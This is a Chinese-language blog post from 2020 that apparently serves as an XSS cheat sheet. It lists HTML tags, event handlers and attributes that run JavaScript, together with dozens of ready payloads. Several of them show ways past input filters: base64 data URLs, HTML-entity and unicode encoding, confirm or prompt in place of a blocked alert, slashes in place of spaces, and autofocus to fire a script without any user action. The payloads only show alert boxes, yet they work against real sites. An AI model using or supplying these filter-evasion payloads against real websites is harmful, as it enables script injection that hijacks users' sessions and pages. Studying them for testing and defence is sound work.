xss介绍

xxs

1.可以执行js的标签,经过firefox测试,使用js代码的地方可以分为外部和内部,外部<script src=http://xxx.js> </script>,内部可以分为直接调用<script>coding</script>,属性,伪协议,如下:

<script>  eg:<script>alert(1)</script>

<a> eg <a href=javascript:alert(1)>11</a>

<p> eg <p onclick='javascript:alert(1)'>11</p>

<img> eg <img src=1 onerror=alert(1)>

<body> eg <body onload=alert(1)></body>

<button> eg<button onclick=alert(1)>sure</button>

<var> eg <var onclick=alert(1)>sure</var>显示斜体

<div>eg <div onclick=alert(1)>sure</div>

<iframe> eg <iframe onload=alert(1)>sure</iframe>

<object> eg<object onclick=alert(1)>sure</object>

<input> eg<input onclick=alert(1)>

<select>eg <select onclick=alert(1)></select>

<texttarea>eg <texttarea onclick=alert(1)>11</texttarea>

<keygen> eg <keygen onclick=alert(1)>

<frameset> eg<frameset onload=alert(1)>11</frameset>

<embed>

<svg> eg<svg/onload=alert(1)>

<math>

<video>

<audio>

2.所有事件

onload onunload(f5或者离开页面时) onchange onsubmit onreset(重置) onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop

3.可以执行js的属性

formaction action href xlink:href autofocus src content data

<input type="submit" formaction="demo-admin.php" value="提交">

<form action="javascript:alert(1)">code</form>

<a href='javascript:alert(1)'>11</a>

4.自定义的标签

<M/onclick="alert(1)">11</M>

5.标签与属性之间可由/代替空格

<img/src=x onerror=alert(1)>

6. a标签

6.1 使用伪协议:<a href=javascript:alert(2)>M

6.2 data url:<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>M

注意两点:

第一点加密解密的website:https://tool.oschina.net/encrypt?type=3,base64加密解密,

第二点,格式data:mime类型;base64,内容

6.3urlencode:(firefox和chrome无效)

<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M

http://www.jsons.cn/urlencode/ urlencode在线编码

6.4 进制编码

进制编码常用到的js8进制、js16进制、url编码、base64编码、html实体、html10进制、html16进制,具体参照https://www.bihuoedu.com/vul/radix/radix16.php,网页还包含很多简单的漏洞测试

<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M可以弹窗。

&#x61和&#x61;html十六进制编码,表示a 。#97 url编码,表示a。&#x3A; html16进制:。

<a href=javascript&colon;confirm(2)>M 。&colon;表示:所以如果过滤了:可以使用以上几种方式绕过。如果过滤alert()可以使用confirm

<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>

xlink:href属性, 链接内容为white,且自定义高度和宽度

<math><a xlink:href=javascript:alert(1)>M

math标签

7script标签

7.1.常规使用测试<script>alert(1)</script>

7.2.过滤alert() 对alert(1)编码,http://www.jsfuck.com/可以生成。

3.<script firefox>alert(1)</script>也可弹窗,并一定要一个规范的script

4.还是编码

<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script>

5.编码

<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>

6.不是只有alert()弹窗

<script>prompt(-[])</script>

<script>confirm(-[])</script>

7.代替双引号和单引号

<script>alert(/3/)</script>

可以这样<script>alert('3')</script>和<script>alert(3)</script>也可弹窗

8.数字转换字符串

<script>alert(String.fromCharCode(49))</script>

9.加.source

<script>alert(/7/.source)</script>

10.使用setTimeout

<script>setTimeout('alert(1)',0)</script>

 

button标签

1.使用事件

<button/onclick=alert(1) >M</button>

2.很少用到的formaction属性

<form><button formaction=javascript&colon;alert(1)>M

3.自动聚焦

<button onfocus=alert(1) autofocus>

 

p标签

1.输出在标签外面,直接js语句

2.输出在属性,考虑闭合标签和引号

<p/onmouseover=javascript:alert(1); >M</p>

 

img标签

<img src=x onerror=alert(1)>

<img src ?itworksonchrome?\/onerror = alert(1)>  过滤了src=可以用//只在chrome下有效

<img src=x onerror=window.open('http://www.baidu.com');>自动打开一个窗口,浏览器会自动拦截,如果用户选择允许,才会打开

<img/src/onerror=alert(1)>chrome过滤了空格,可以用这个

<img src="x:kcf" onerror="alert(1)">

 

body标签

<body onload=alert(1)>

 

【var标签】

<var onmouseover="prompt(1)">KCF</var>

 

【div标签】

<div/onmouseover='alert(1)'>X

<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">

 

iframe

<IFRAME SRC="javascript:alert(1);"></IFRAME> 伪协议

<iframe/onload=alert(53)></iframe> 属性

 

meta标签

提供了一种挖掘xss的新思路,有些个人信息的网站title会显示会员名,客户可控,总结一下xss输出位置,1.当前页面,页面源码中和dom中2.其他页面3.文件4.网站名

object标签

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>

 

marquee标签

<marquee  onstart="alert('sometext')"></marquee>

 

isindex标签

<isindex type=image src=1 onerror=alert(1)>

<isindex action=javascript:alert(1) type=image>

【input标签】

没有什么特别之处,通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可弹窗的效果。在这里使用到了onblur是希望大家学会举一反三。

<input onfocus=javascript:alert(1) autofocus>

<input onblur=javascript:alert(1) autofocus><input autofocus>

【select标签】

<select onfocus=javascript:alert(1) autofocus>

【textarea标签】

<textarea onfocus=javascript:alert(1) autofocus>

【keygen标签】

<keygen onfocus=javascript:alert(1) autofocus>

【frameset标签】

<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>

<frameset onload=alert(1)>

【embed标签】

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome

<embed src=javascript:alert(1)> //firefox

【svg标签】

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>

<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效

【math标签】

<math href="javascript:javascript:alert(1)">CLICKME</math>

<math><y/xlink:href=javascript:alert(51)>test1

<math> <maction actiontype="statusline#http://wangnima.com"

xlink:href="javascript:alert(49)">CLICKME</maction> </math>

【video标签】

<video><source onerror="alert(1)">

<video src=x onerror=alert(48)>

【audio标签】

<audio src=x onerror=alert(47)>

 

参考链接: https://www.leavesongs.com/PENETRATION/xss-collect.html

posted @ 2020-01-03 17:02  强壮的脸皮  阅读(718)  评论(0)    收藏  举报